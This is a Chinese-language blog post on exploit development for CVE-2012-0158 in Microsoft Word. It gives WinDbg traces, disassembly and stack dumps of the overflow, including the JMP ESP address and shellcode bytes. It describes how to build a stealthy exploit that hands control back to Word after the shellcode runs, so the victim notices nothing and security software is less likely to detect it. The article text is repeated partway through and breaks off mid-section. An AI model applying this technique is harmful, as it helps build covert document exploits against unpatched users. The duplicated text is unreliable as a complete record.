[原創]解讀天書----漏洞利用中級技巧的分析
仙果發表於2014-02-19
題記:
距離上次更新感覺已經過了很久很久的時間,什麼事情多時間少都是藉口,自己變的懶了倒是真的,給大家道歉,以後更新會加快的,今天不講漏洞分析,跟我來討論下漏洞利用中的一些原理上的分析。本篇文章遵循思考問題-分析問題-解決問題的過程,以符合大家的思路,Let’s go!
0x1 起因
江湖上一直流傳著袁哥(yuange1975)的傳說,發表的很多文章和微博自己從來都是當做天書來看,畢竟有些知識確實是我這等小菜無法理解和掌握的,只能深深的膜拜。
某天袁哥就發了如下的2篇微博:
圖(1):袁哥微博截圖
像什麼APT、種馬(貌似有歧義)、檔案系統格式嵌入等等概念因為離自己太過遙遠不去管它,真正比較敢興趣的是“檔案可正常編輯,編輯後溢位種馬還一切正常”,“怎麼用簡單技術辦法修復堆記憶體結構”,平時做的都是分析分析再分析,像袁哥說的那樣還是真的沒有想象過,但如果真如他所說,確實非常的有趣,雖然我真的不懂,但看起來很厲害的樣子。看完袁哥的微博,這些東西就一直在腦子中盤旋,這到底是怎樣的一種情形,又如何去做到,有沒有實際一點的例子,最後實在是手癢的緊,太想見識一下傳說中的不彈、不閃、不卡的真面目,於是就有了此篇文章。
0x2 分析及驗證過程
0x2.1 一些思考
這些思考都是在實際除錯之前自己想要弄明白的,不然當真是無從下手,這時確定目標的過程。
什麼是“檔案可正常編輯”?
前提條件是不影響漏洞的觸發,首先要利用一個漏洞必須要保證漏洞能夠在對應的軟體版本平臺上正常觸發,之後再來檔案能否正常編輯的問題,一般的漏洞樣本是檔案開啟-閃一下-彈出了一個正常文件,這樣的情況下文件處理程式是退出了的,然後再重新啟動一個新的程式,原始樣本肯定是不可能做到可編輯。關鍵點是在哪裡呢?一番思考之後找到了關鍵:漏洞觸發之後堆疊恢復(附註(1)(2))。
如何做到堆疊恢復?
我們知道漏洞觸發之後接著執行的就是ShellCode,即ShellCode接管了程式的執行流程,ShellCode主體功能執行之後呢,一般做法就是退出了,如果在ShelLCode主體功能執行之後,接著進行堆疊的恢復,若是成功,相當於交回了程式執行流程,即程式繼續“正確”的執行流程,自然文件是可以正常編輯。
明白了檔案可正常編輯是如何一個原理,接下來就是實際操作:
0x2.2選擇CVE-2012-0158
選擇哪一個漏洞作為分析的樣本這是一個艱難的過程,太舊的漏洞不沒有價值,新的漏洞又沒有,糾結!自己分析複合檔案格式方面的漏洞還是有那麼幾個,拿來做分析應該會快很多,Microsoft Word就是其中一個,就選它了,查詢下最近的漏洞,
CVE-2012-0158(MS12-027),是去年爆出來,也算是時間比較近的一個了。
POC的連結如下:
http://bbs.pediy.com/showthread.php?p=1067805#poststop
0x2.3 確認是否能夠正常開啟
這是一個2012年的老漏洞,Microsoft Office 2003最新補丁補了這個漏洞,那麼POC檔案應該是可以正常開啟並編輯。
實驗環境:
Windows XP SP3_CN 最新補丁(2013.06.23)_虛擬機器
Microsoft Office 2003 SP3(11.8348.8341)
在上述環境中,POC文件確實能夠正常開啟,如圖(2)所示:
此時進行任何編輯也無問題,畢竟已經修補了此漏洞。
現在目標就是在未修補漏洞的環境中,做到像已修補漏洞環境一樣可正常開啟可編輯。
0x2.4 查詢漏洞觸發異常點
關於此漏洞的原理由於網上的文章已經很多了,一搜一大把,我這裡也就不進行細緻分析了,直接進入正題。
實驗環境:
Windows XP SP3_CN_虛擬機器(未打補丁)
Microsoft Office 2003 SP3(11.8169)
除錯工具:
Windbg
010editor
首先先在虛擬機器裡直接執行樣本觀察樣本的行為,哦哦,一個碩大的計算器彈了出來,證明漏洞是執行成功了的,現在要做的就是嘗試斷點,在Windbg中觀察程式執行過程。
我們知道一個PE檔案執行起來,必須要呼叫相應的API函式,一般情況下回ShellCode會呼叫WinExec() API函式來執行PE檔案,就在此函式下斷。
重新把樣本檔案複製到虛擬機器中,WIndbg附加Word.exe程式,開啟樣本檔案,可以觀察到確實在WinExec函式入口點斷了下來,此時觀察堆疊情況,如下:
WinExec() 執行的PE檔案路徑是 C:\Documents and Settings\Admin\a.exe,觀察堆疊情況可以明顯的知道,MSCOMCTL!DllGetClassObject+0x41cc6 處是函式的返回地址,雖然不一定的誤報率,但一般情況下都是準確的。
函式返回值的上一條指令處下斷點:
Bu MSCOMCTL!DllGetClassObject+0x41cc1
重新附加Word程式,開啟樣本檔案,能夠斷點上述斷點處,F11跟入處理函式中,一直到如下程式碼:
可以觀察到在275c87cb rep movs 指令在記憶體複製時覆蓋了堆疊,複製大小為0x8282,實際上就是Memcpy() 記憶體複製函式的簡寫。
覆蓋前:
覆蓋後:
從0x00120e70 記憶體處開始往下進行覆蓋。
接著再來看執行到shellcode的方式,複製之後返回上層函式後,在
執行ret 8指令,透過JMP ESP 指令跳轉到shellcode中
0x7ffa4512是非常著名的通用跳轉地址,中文系統下通殺。Shellcode不是分析的主要目的,就不再對shellcode進行細緻的分析。
最後使用010editor觀察樣本檔案,很簡單就能找到如下內容:
000082820000828200000000000000000000000000001245fa7f90909090909090908bc
0x8282是複製記憶體長度,0x7ffa4512是JMP ESP指令地址,9090之後就是shellcode。
0x2.5 階段總結
總結下目前的所知道的資訊,首先漏洞修補之後文件是能夠正常開啟編輯的,其次找到了觸發漏洞的點:Memcpy()函式,在樣本檔案中同樣也定位到了控制溢位資料和shellcode 。接著要做的就是驗證漏洞情況下能否做到完美退出。
0x2.6 除錯驗證是否完美退出
之前的分析過程可以發現,Memcpy()函式執行之後,覆蓋的程式堆疊,只有儘可能小的覆蓋堆疊(ESP)上的資料,保持原有的程式引數才有可能做到完美退出,第一步驗證在不進行任何資料覆蓋的情況下能否完美退出。
0x.2.6.1 驗證不覆蓋情況下能否正常退出
觀察如下程式碼:
修改ecx的值為0x4,執行 shr ecx,2之後,複製的大小就為1,即複製一次,一次複製4個位元組(一個Dword),進行驗證。
經過2斷點修改之後,樣本檔案正常開啟咯!這是一個很好的開始,證明自己的想法沒有錯,在資料填充足夠小的情況下能夠完美退出,距離目標又進了一大步。
0x.2.6.2 第二次思考分析
來總結下目前的情況,第一修補漏洞情況下文件正常開啟和正常編輯儲存,第二當只複製4個位元組的情況下能夠正常開啟編輯,即可以這麼說當複製資料足夠小的情況下能夠做到完美退出。第三整個漏洞分析的目標是觸發漏洞並能夠執行ShellCode的情況下做到完美退出。
至於在滿足上述條件的情況下,覆蓋多少個位元組的資料,是接下來需要分析的內容。有一個前提就是越少越好,最好的情況是覆蓋10多個位元組就滿足條件,當然這種情形估計不常見,也需要實際去測試分析。
開始吧,繼續往下分析,目前為止還無法斷定最終能不能達到理想的效果。
0x2.6.3驗證滿足條件最大位元組
目前為止,還沒有考慮ShellCode,不過可以肯定的是溢位時,ShellCode肯定是不能放在棧頂(ESP)附近的(可參考附註資料),一是堆疊長度不夠,而是不符合實際情況,最簡單的埠複用ShellCode也要在50個位元組以上,更別說釋放並執行的一類ShellCode,所以暫時不考慮ShellCode情況,先把完美退出的情況分析完畢之後,再去做ShellCode的工作,且看我慢慢道來。
先來觀察一下在覆蓋堆疊之前棧頂(ESP)的資料,
上述操作中,只覆蓋了4個位元組,其實覆蓋的是 0x00120e6c指向的記憶體,此處為0,並沒有影響到程式的執行流程,得以完美退出。
接下來要做的就是不斷的修改測試,修改的值其實就是覆蓋資料的長度(ECX),彙編中ECX一般作為資料複製的長度暫存器,接著尋找一個返回點同時修改棧頂(ESP)和棧底(EBP),之後返回,驗證是否能夠完美退出,好了說這麼說,看實際是如何操作的。
觀察上述堆疊(ESP)情形,可以發現如下情況:
0x00120e70 指向的記憶體就是存放的函式返回地址,當程式執行到ret offset時,當前的ESP暫存器就指向了這類的記憶體地址。
現在需要做的就是找到一個合適的棧頂(ESP)和棧底(EBP),在覆蓋堆疊上一些資料之後,返回到這個棧頂(ESP),程式得以繼續往下執行並且不會導致異常情況的出現。
可以肯定的是隻覆蓋4個位元組的情況下肯定是可以完美退出的,現在就來觀察一下覆蓋4個位元組程式的執行流程,使其依次返回上層函式來確認堆疊分佈情況,記錄有可能的棧頂(ESP)和棧底(ESP)暫存器。
當程式執行到如下程式碼:
堆疊情況如下:
此時 esp=00120ea0 ebp=00120ebc,距離覆蓋點0x00120e6c處有了0x34個位元組可以使用,猜測是可以使用此處來作為覆蓋後返回的棧頂(ESP)和棧底(ESP)。
要明確一點是必須覆蓋足夠的資料才能覆蓋到函式返回地址,否則雖然能夠完美退出,但是無法執行到shellcode中就做了無用功,覆蓋資料長度既不能太大也不能太小,太大無法做到完美退出,太小無法做到覆蓋函式返回地址,這是一個很糾結的問題,需要很多次的分析測試。
接下來就是驗證這個想法,
分析上述程式碼可知,ecx是由edi賦值而來(edi的賦值過程不在本篇的討論範圍,確認是從樣本中讀取而來即可),修改為一個小一些的值:0x2C進行測試,命令格式:
理論上是能夠保證覆蓋函式返回地址的,接著往下執行,直至:
堆疊覆蓋了0x2c大小的資料,距離假定的棧頂(ESP):0x00120ea0還有8個位元組,程式接著會跳轉到0x7ffa4512記憶體地址去執行,即JMP ESP,通用利用地址無需解釋。
程式會跳轉到0x00120e84處執行程式碼,完美退出程式碼就應該寫在此處:
測試以後發現經過上述修改之後確實可做到完美退出,為繼續往下分析提供了基礎。
接下來要做什麼?
要回答上面的問題,先來了解目前的情況,有了一個可以完美退出的樣本,可以覆蓋堆疊上一小部分資料,因此距離利用的目標還有一段距離,接下來要做的就是使ShellCode執行起來。
0x3 具體實現
以上部分都是分析驗證部分,真正實現部分是由第三部分來完成,這部分主要完成的工作是完成ShellCode部分的修改和執行,之後能夠完美退出。
0x3.1 Small ShellCode 確認及驗證
需要計算留給我們填寫shellcode的長度是多少?回到覆蓋之前的瞬間,
上面程式碼可以看出,Memcpy記憶體複製的源資料為ESI:0x00216408 指向的資料,目的地址為EDI:0x00120e6c,最大能夠填充到的地址為0x00120ea0,現在就可以計算出最大填充的位元組數:0x00120ea0-0x00120e6c=0x34(52),這0x34(52)位元組首先需要減去
275c8a55 leave
275c8a56 ret 8 程式碼的20個位元組,其中leave指令12個位元組,Ret 8指令8個位元組,Jmp Esp 指令需要4個位元組,計算公式就為 0x34(52)- 0x0c- 8 - 4= 0x1c(28)位元組,所以這裡只能填充為Small_ShellCode,圖示如下:
0x1c(28)位元組大小的緩衝區為可供編寫shellcode的區域,這部分ShellCode需要完成的功能是使程式的執行流程跳轉到真正實現利用功能的ShellCode。
0x3.2 編寫Small Shellcode
一個小的Shellcode透過記憶體搜尋或者其他方法來找到真正的Shellcode的過程,一般叫做Egghunrt,相應的這部分程式碼叫做EggSearch。網路上類似的ShellCode是非常多的。Exploit-db網站上就有一個,程式碼如下:
上述程式碼的主要實現的功能是在記憶體中不斷的與設定的標誌位進行比較,若發現相同的位元組,則跳轉到標誌位處執行。標誌位緊接這的就是真正的shellcode。編譯之後發現整個Eggsearch的大小是33個位元組,與我們可控的28個位元組還有幾個位元組的距離,需要對程式碼進行修改判斷,檢視是否最終符合不符合需求。
需要對Eggsearch這段程式碼進行最佳化,程式碼精簡使其最終減小到28個位元組以內,這是一個非常有難度的事情,因為Eggsearch本身程式碼已經是經過最佳化壓縮的,在此基礎上再次壓縮,難度就有些大了。例如push 8,pop eax 這兩句彙編指令等於mov eax,8這句指令,但是前者所佔用了3個機器碼(6a 08 58),後者則佔用了5個機器碼(b8 08 00 00 00),孰優孰劣一目瞭然。
0x3.3 另闢蹊徑編寫獨特Small ShellCode
之前的分析可以發現,最佳化精簡Eggsearch程式碼是非常繁瑣複雜的,很難成功。這時就要考慮是否還有其他更簡便的方法來實現我們的目的,如果存在的話,就不用編寫搜尋記憶體的Eggsearch程式碼,漏洞執行效率高,也減少了被安全軟體檢測到機率。
現在來分析漏洞執行過程中的程式碼:
斜線部分程式碼即為漏洞觸發的關鍵程式碼,實際執行的動作其實是Memcpy()函式。要完成完美退出的目的,需要修改的是ecx的大小,即memcpy()函式複製字串的長度,大小為0x34(52)位元組,上述是已知的條件,觀察下暫存器Esi指向的資料:
斜線部分為完美退出可控資料,但是其後的資料也是在文件中,即也是可控資料。重點來了,如果可以透過一些程式碼的操作,使word程式的執行流程按照我們的想法改變,跳轉到暫存器esi指向的資料下面處進行執行,就不用編寫Eggsearch程式碼。
接著看能否實現,記錄一下暫存器esi的值,esi=0x00237790,當程式執行到:
程式此時馬上就要跳轉到7ffa4512 JMP ESP 指令去執行。搜尋之前儲存的esi的值。
反覆這個過程進行測試後發現0x0014017c,這個地址是固定不變的,並且指向的值必是之前儲存的esi,暫存器esi指向了可控的資料,這部分可控資料只是在堆(heap)中並沒有複製到棧上而已,只需要做到使程式在堆中執行即可。另外0x0014017c這個地址在Microsoft Office 2003的其他版本SP0/SP1/SP3,Microsoft Office 2007 SP0/SP1/SP2/SP3中都是穩定不變的,這為完美退出的工作提供了巨大的便利。
剩下的工作就是根據之前的分析編寫相應的彙編程式碼,工作量的問題了,這裡貼出自己編寫的程式碼:
此時透過12個位元組就完成了Small ShellCode跳往真正shellcode的工作,與28個可修改位元組相差了16個位元組,這是一個很有成就感的工作,短小精悍是shellcode的追求。
0x3.4 收尾工作
真正ShellCode的功能多種多樣,一般文件類的ShellCode無非是生成一個可執行檔案並執行之,網上這部分程式碼也是比較多的,大家可以參考下。先來看下目前的完成了那些工作:
完美退出的程式碼完成。
跳轉程式碼(Small ShellCode)完成。
接下來要做什麼?
想一下就能知道,接下來要做就是對程式碼進行組合,把各部分的功能新增到一起,使其成為一個有機的整體,真正可用的一個文件類漏洞利用。
一般情況下,ShellCode完成主體功能之後就退出了,即呼叫ExitProcess()函式或者類似功能函式來結束程式,但是我們的這個例項要做到完美退出肯定不能這麼做。ShellCode主體功能完成之後需要把執行流程交回到Word程式,之後也不能觸發任何異常,才是最終的效果。
具體來說,遵循的原則就是儘可能的不破壞原始棧,shellCode的所有操作均在堆中完成,解決思路是在儲存原始棧(ESP)之後對棧頂(ESP)進行交換,使當前棧位於堆上,引數等得傳遞不在原始棧中進行,彙編指令是 xchg eax,esp。執行ShellCode主體功能之前需要儲存原始棧(ESP),因為它關係到最終能不能完美退出。ShellCode主體功能完成之後,使用之前儲存的原始棧,進行一系列操作之後,把執行流程交回到Word程式。
相應的虛擬碼如下:
0x4 總結
至此,我們完成了針對CVE-2012-0158 漏洞的完美退出研究分析,確認此漏洞是可以做到完美退出,並且通用性和適用性都是非常高的,不用考慮作業系統的情況下,能夠針對Microsoft Office 2003和Microsoft 2007,相比於過去的漏洞利用來說是一個很大的進步。只要去認真分析總是可以研究出一些非常有意思的東西。
首先yuange1975的一篇微博勾起了自己很大的好奇心,文件類漏洞能否做到完美退出?如果能做到,又該如何去做?這些都是自己需要解決的問題。
其次選擇一個典型的文件類漏洞進行分析構造,CVE-2012-0158就是一個非常經典的棧溢位漏洞,如何利用棧溢位漏洞覆蓋特定的資料同時又儘可能的少破壞原始的堆疊結構,構造出一個不執行shellcode的情形下的完美退出例子。
第三可控可修改程式碼有限的情況下思考如何執行到真正ShellCode,Eggsearch程式碼最佳化精簡非常有難度,幾乎無解,此時考慮從旁路入手,找到一個通用地址,編寫只針對此漏洞的特殊彙編程式碼並執行到真正的ShellCode之中。
最後執行ShellCode主體功能之前儲存原始棧並儘可能少去破壞原始堆疊結構情況下完成ShellCode的執行,之後恢復堆疊,交回程式執行流程。
附註:
(1)Win32環境下函式呼叫的堆疊之研究
http://wenku.baidu.com/view/668556f90242a8956bece4ac.html.
(2)Win32環境下的堆疊
http://wenku.baidu.com/view/e7d3680e7cd184254b3535c1.html
附件:
解讀天書----漏洞利用中級技巧的分析.doc
距離上次更新感覺已經過了很久很久的時間,什麼事情多時間少都是藉口,自己變的懶了倒是真的,給大家道歉,以後更新會加快的,今天不講漏洞分析,跟我來討論下漏洞利用中的一些原理上的分析。本篇文章遵循思考問題-分析問題-解決問題的過程,以符合大家的思路,Let’s go!
0x1 起因
江湖上一直流傳著袁哥(yuange1975)的傳說,發表的很多文章和微博自己從來都是當做天書來看,畢竟有些知識確實是我這等小菜無法理解和掌握的,只能深深的膜拜。
某天袁哥就發了如下的2篇微博:
圖(1):袁哥微博截圖
像什麼APT、種馬(貌似有歧義)、檔案系統格式嵌入等等概念因為離自己太過遙遠不去管它,真正比較敢興趣的是“檔案可正常編輯,編輯後溢位種馬還一切正常”,“怎麼用簡單技術辦法修復堆記憶體結構”,平時做的都是分析分析再分析,像袁哥說的那樣還是真的沒有想象過,但如果真如他所說,確實非常的有趣,雖然我真的不懂,但看起來很厲害的樣子。看完袁哥的微博,這些東西就一直在腦子中盤旋,這到底是怎樣的一種情形,又如何去做到,有沒有實際一點的例子,最後實在是手癢的緊,太想見識一下傳說中的不彈、不閃、不卡的真面目,於是就有了此篇文章。
0x2 分析及驗證過程
0x2.1 一些思考
這些思考都是在實際除錯之前自己想要弄明白的,不然當真是無從下手,這時確定目標的過程。
什麼是“檔案可正常編輯”?
前提條件是不影響漏洞的觸發,首先要利用一個漏洞必須要保證漏洞能夠在對應的軟體版本平臺上正常觸發,之後再來檔案能否正常編輯的問題,一般的漏洞樣本是檔案開啟-閃一下-彈出了一個正常文件,這樣的情況下文件處理程式是退出了的,然後再重新啟動一個新的程式,原始樣本肯定是不可能做到可編輯。關鍵點是在哪裡呢?一番思考之後找到了關鍵:漏洞觸發之後堆疊恢復(附註(1)(2))。
如何做到堆疊恢復?
我們知道漏洞觸發之後接著執行的就是ShellCode,即ShellCode接管了程式的執行流程,ShellCode主體功能執行之後呢,一般做法就是退出了,如果在ShelLCode主體功能執行之後,接著進行堆疊的恢復,若是成功,相當於交回了程式執行流程,即程式繼續“正確”的執行流程,自然文件是可以正常編輯。
明白了檔案可正常編輯是如何一個原理,接下來就是實際操作:
0x2.2選擇CVE-2012-0158
選擇哪一個漏洞作為分析的樣本這是一個艱難的過程,太舊的漏洞不沒有價值,新的漏洞又沒有,糾結!自己分析複合檔案格式方面的漏洞還是有那麼幾個,拿來做分析應該會快很多,Microsoft Word就是其中一個,就選它了,查詢下最近的漏洞,
CVE-2012-0158(MS12-027),是去年爆出來,也算是時間比較近的一個了。
POC的連結如下:
http://bbs.pediy.com/showthread.php?p=1067805#poststop
0x2.3 確認是否能夠正常開啟
這是一個2012年的老漏洞,Microsoft Office 2003最新補丁補了這個漏洞,那麼POC檔案應該是可以正常開啟並編輯。
實驗環境:
Windows XP SP3_CN 最新補丁(2013.06.23)_虛擬機器
Microsoft Office 2003 SP3(11.8348.8341)
在上述環境中,POC文件確實能夠正常開啟,如圖(2)所示:
此時進行任何編輯也無問題,畢竟已經修補了此漏洞。
現在目標就是在未修補漏洞的環境中,做到像已修補漏洞環境一樣可正常開啟可編輯。
0x2.4 查詢漏洞觸發異常點
關於此漏洞的原理由於網上的文章已經很多了,一搜一大把,我這裡也就不進行細緻分析了,直接進入正題。
實驗環境:
Windows XP SP3_CN_虛擬機器(未打補丁)
Microsoft Office 2003 SP3(11.8169)
除錯工具:
Windbg
010editor
首先先在虛擬機器裡直接執行樣本觀察樣本的行為,哦哦,一個碩大的計算器彈了出來,證明漏洞是執行成功了的,現在要做的就是嘗試斷點,在Windbg中觀察程式執行過程。
我們知道一個PE檔案執行起來,必須要呼叫相應的API函式,一般情況下回ShellCode會呼叫WinExec() API函式來執行PE檔案,就在此函式下斷。
0:004> bc * 0:004> bu winexec 0:004> bl 0 e 7c8623ad 0001 (0001) 0:**** kernel32!WinExec
重新把樣本檔案複製到虛擬機器中,WIndbg附加Word.exe程式,開啟樣本檔案,可以觀察到確實在WinExec函式入口點斷了下來,此時觀察堆疊情況,如下:
0:000> da 08f36008 08f36008 "C:\Documents and Settings\Admin\" 08f36028 "a.exe" 0:000> kvn # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 00120e10 001210de 08f36008 00000000 08f36008 kernel32!WinExec 01 00120e40 275c8a0a 08f15008 09ce28a8 0001c000 0x1210de 02 00120e7c 00120ef5 1005c48b c7000001 4d032400 MSCOMCTL!DllGetClassObject+0x41cc6 03 00000000 00000000 00000000 00000000 00000000 0x120ef5
WinExec() 執行的PE檔案路徑是 C:\Documents and Settings\Admin\a.exe,觀察堆疊情況可以明顯的知道,MSCOMCTL!DllGetClassObject+0x41cc6 處是函式的返回地址,雖然不一定的誤報率,但一般情況下都是準確的。
275c8a00 8d45f8 lea eax,[ebp-8] 275c8a03 53 push ebx 275c8a04 50 push eax 275c8a05 e863fdffff call MSCOMCTL!DllGetClassObject+0x41a29 (275c876d) 275c8a0a 8bf0 mov esi,eax
函式返回值的上一條指令處下斷點:
Bu MSCOMCTL!DllGetClassObject+0x41cc1
重新附加Word程式,開啟樣本檔案,能夠斷點上述斷點處,F11跟入處理函式中,一直到如下程式碼:
275c87be 8b750c mov esi,dword ptr [ebp+0Ch] 275c87c1 8bcf mov ecx,edi 275c87c3 8b7d08 mov edi,dword ptr [ebp+8] 275c87c6 8bc1 mov eax,ecx 275c87c8 c1e902 shr ecx,2 275c87cb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 275c87cd 8bc8 mov ecx,eax 275c87cf 8b4510 mov eax,dword ptr [ebp+10h]
可以觀察到在275c87cb rep movs 指令在記憶體複製時覆蓋了堆疊,複製大小為0x8282,實際上就是Memcpy() 記憶體複製函式的簡寫。
覆蓋前:
0:000> db esp l100 00120e30 00 00 00 00 cc 16 d2 08-10 08 00 0a 82 82 00 00 ................ 00120e40 74 0e 12 00 0a 8a 5c 27-6c 0e 12 00 90 7e 1c 00 t.....\'l....~.. 00120e50 82 82 00 00 00 00 00 00-cc 16 d2 08 10 08 00 0a ................ 00120e60 43 6f 62 6a 64 00 00 00-82 82 00 00 b8 17 d2 08 Cobjd........... 00120e70 e4 59 58 27 9c 0e 12 00-1a 70 5e 27 cc 16 d2 08 .YX'.....p^'.... 00120e80 10 08 00 0a 00 00 00 00-a8 16 d2 08 58 74 1c 00 ............Xt.. 00120e90 96 c2 5a 27 01 00 00 00-bc 0e 12 00 bc 0e 12 00 ..Z'............ 00120ea0 61 73 5e 27 cc 16 d2 08-10 08 00 0a 10 08 00 0a as^'............ 00120eb0 49 74 6d 73 64 00 00 00-00 00 59 27 3c 0f 12 00 Itmsd.....Y'<... 00120ec0 b6 a8 5c 27 50 76 1c 00-10 08 00 0a a8 74 1c 00 ..\'Pv.......t.. 00120ed0 58 74 1c 00 c0 ac ca 08-01 ef cd ab 00 00 05 00 Xt.............. 00120ee0 98 5d 65 01 07 00 00 00-08 00 00 80 05 00 00 80 .]e............. 00120ef0 00 00 00 00 0f fa 58 27-00 00 00 00 cb 07 01 2f ......X'......./ 00120f00 de f9 58 27 00 d0 62 27-c0 ac ca 08 87 f9 58 27 ..X'..b'......X' 00120f10 e0 74 1c 00 10 08 00 0a-00 00 00 00 4e 08 7d eb .t..........N.}. 00120f20 01 00 06 00 1c 00 00 00-00 00 00 00 00 00 00 00 ................ 0:000> p
覆蓋後:
0:000> db esp l100 00120e30 00 00 00 00 cc 16 d2 08-10 08 00 0a 82 82 00 00 ................ 00120e40 74 0e 12 00 0a 8a 5c 27-6c 0e 12 00 90 7e 1c 00 t.....\'l....~.. 00120e50 82 82 00 00 00 00 00 00-cc 16 d2 08 10 08 00 0a ................ 00120e60 43 6f 62 6a 64 00 00 00-82 82 00 00 00 00 00 00 Cobjd........... 00120e70 00 00 00 00 00 00 00 00-12 45 fa 7f 90 90 90 90 .........E...... 00120e80 90 90 90 90 8b c4 05 10-01 00 00 c7 00 24 03 4d .............$.M 00120e90 08 e9 5a 00 00 00 6b 65-72 6e 65 6c 33 32 00 df ..Z...kernel32.. 00120ea0 2d 89 8c 1b 81 7d ef 42-9d 85 85 d6 4e 99 59 5a -....}.B....N.YZ 00120eb0 61 d8 54 93 77 77 21 9d-4a 62 68 c3 53 a3 83 6a a.T.ww!.Jbh.S..j 00120ec0 6b df 5c 5a 8a 1d 2b 4f-2c 45 28 81 71 f5 40 01 k.\Z..+O,E(.q.@. 00120ed0 92 8f 05 ba 36 c1 0a 61-61 61 61 73 68 65 6c 6c ....6..aaaashell 00120ee0 33 32 00 8b 98 8a 31 61-61 61 61 6f 70 65 6e 00 32....1aaaaopen. 00120ef0 e8 11 02 00 00 6a ff e8-08 00 00 00 05 35 00 00 .....j.......5.. 00120f00 00 ff 10 c3 e8 00 00 00-00 58 83 c0 04 2d 77 00 .........X...-w. 00120f10 00 00 c3 55 8b ec 52 53-8b 55 08 33 c0 f7 d0 32 ...U..RS.U.3...2 00120f20 02 b3 08 d1 e8 73 05 35-20 83 b8 ed fe cb 75 f3 .....s.5 .....u.
從0x00120e70 記憶體處開始往下進行覆蓋。
接著再來看執行到shellcode的方式,複製之後返回上層函式後,在
0:000> u eip MSCOMCTL!DllGetClassObject+0x41d12: 275c8a56 c20800 ret 8
執行ret 8指令,透過JMP ESP 指令跳轉到shellcode中
0:000> dd esp 00120e78 7ffa4512 90909090 90909090 1005c48b 00120e88 c7000001 4d032400 005ae908 656b0000
0x7ffa4512是非常著名的通用跳轉地址,中文系統下通殺。Shellcode不是分析的主要目的,就不再對shellcode進行細緻的分析。
最後使用010editor觀察樣本檔案,很簡單就能找到如下內容:
000082820000828200000000000000000000000000001245fa7f90909090909090908bc
0x8282是複製記憶體長度,0x7ffa4512是JMP ESP指令地址,9090之後就是shellcode。
0x2.5 階段總結
總結下目前的所知道的資訊,首先漏洞修補之後文件是能夠正常開啟編輯的,其次找到了觸發漏洞的點:Memcpy()函式,在樣本檔案中同樣也定位到了控制溢位資料和shellcode 。接著要做的就是驗證漏洞情況下能否做到完美退出。
0x2.6 除錯驗證是否完美退出
之前的分析過程可以發現,Memcpy()函式執行之後,覆蓋的程式堆疊,只有儘可能小的覆蓋堆疊(ESP)上的資料,保持原有的程式引數才有可能做到完美退出,第一步驗證在不進行任何資料覆蓋的情況下能否完美退出。
0x.2.6.1 驗證不覆蓋情況下能否正常退出
觀察如下程式碼:
275c87c1 8bcf mov ecx,edi //把複製長度賦給ecx 275c87c3 8b7d08 mov edi,dword ptr [ebp+8] 275c87c6 8bc1 mov eax,ecx 275c87c8 c1e902 shr ecx,2 //右移2位 275c87cb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] //複製 275c87cd 8bc8 mov ecx,eax 275c87cf 8b4510 mov eax,dword ptr [ebp+10h]
修改ecx的值為0x4,執行 shr ecx,2之後,複製的大小就為1,即複製一次,一次複製4個位元組(一個Dword),進行驗證。
經過2斷點修改之後,樣本檔案正常開啟咯!這是一個很好的開始,證明自己的想法沒有錯,在資料填充足夠小的情況下能夠完美退出,距離目標又進了一大步。
0x.2.6.2 第二次思考分析
來總結下目前的情況,第一修補漏洞情況下文件正常開啟和正常編輯儲存,第二當只複製4個位元組的情況下能夠正常開啟編輯,即可以這麼說當複製資料足夠小的情況下能夠做到完美退出。第三整個漏洞分析的目標是觸發漏洞並能夠執行ShellCode的情況下做到完美退出。
至於在滿足上述條件的情況下,覆蓋多少個位元組的資料,是接下來需要分析的內容。有一個前提就是越少越好,最好的情況是覆蓋10多個位元組就滿足條件,當然這種情形估計不常見,也需要實際去測試分析。
開始吧,繼續往下分析,目前為止還無法斷定最終能不能達到理想的效果。
0x2.6.3驗證滿足條件最大位元組
目前為止,還沒有考慮ShellCode,不過可以肯定的是溢位時,ShellCode肯定是不能放在棧頂(ESP)附近的(可參考附註資料),一是堆疊長度不夠,而是不符合實際情況,最簡單的埠複用ShellCode也要在50個位元組以上,更別說釋放並執行的一類ShellCode,所以暫時不考慮ShellCode情況,先把完美退出的情況分析完畢之後,再去做ShellCode的工作,且看我慢慢道來。
先來觀察一下在覆蓋堆疊之前棧頂(ESP)的資料,
0:000> r eax=00008282 ebx=09520810 ecx=000020a0 edx=00000000 esi=08cfefb8 edi=00120e6c eip=275c87cb esp=00120e30 ebp=00120e40 iopl=0 nv up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 MSCOMCTL!DllGetClassObject+0x41a87: 275c87cb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> dds esp 00120e30 00000000 00120e34 00192ed4 00120e38 09520810 00120e3c 00008282 00120e40 00120e74 00120e44 275c8a0a MSCOMCTL!DllGetClassObject+0x41cc6 00120e48 00120e6c 00120e4c 08cfefb8 00120e50 00008282 00120e54 00000000 00120e58 00192ed4 00120e5c 09520810 00120e60 6a626f43 00120e64 00000064 00120e68 00008282 00120e6c 00192fc0 00120e70 275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31 00120e74 00120e9c 00120e78 275e701a MSCOMCTL!DLLGetDocumentation+0xd08 00120e7c 00192ed4 00120e80 09520810 00120e84 00000000 00120e88 00192eb0 00120e8c 08cfea50 00120e90 275ac296 MSCOMCTL!DllGetClassObject+0x25552 00120e94 00000001 00120e98 00120ebc 00120e9c 00120ebc 00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f 00120ea4 00192ed4 00120ea8 09520810 00120eac 09520810 00120eac 09520810 00120eb0 736d7449 00120eb4 00000064 00120eb8 27590000 MSCOMCTL!DllGetClassObject+0x92bc 00120ebc 00120f3c 00120ec0 275ca8b6 MSCOMCTL!DllGetClassObject+0x43b72 00120ec4 08cfec48 00120ec8 09520810 00120ecc 08cfeaa0 00120ed0 08cfea50 00120ed4 08c84088 00120ed8 abcdef01 00120edc 00050000 00120ee0 01655d98 xpsp2res+0x65d98
上述操作中,只覆蓋了4個位元組,其實覆蓋的是 0x00120e6c指向的記憶體,此處為0,並沒有影響到程式的執行流程,得以完美退出。
接下來要做的就是不斷的修改測試,修改的值其實就是覆蓋資料的長度(ECX),彙編中ECX一般作為資料複製的長度暫存器,接著尋找一個返回點同時修改棧頂(ESP)和棧底(EBP),之後返回,驗證是否能夠完美退出,好了說這麼說,看實際是如何操作的。
觀察上述堆疊(ESP)情形,可以發現如下情況:
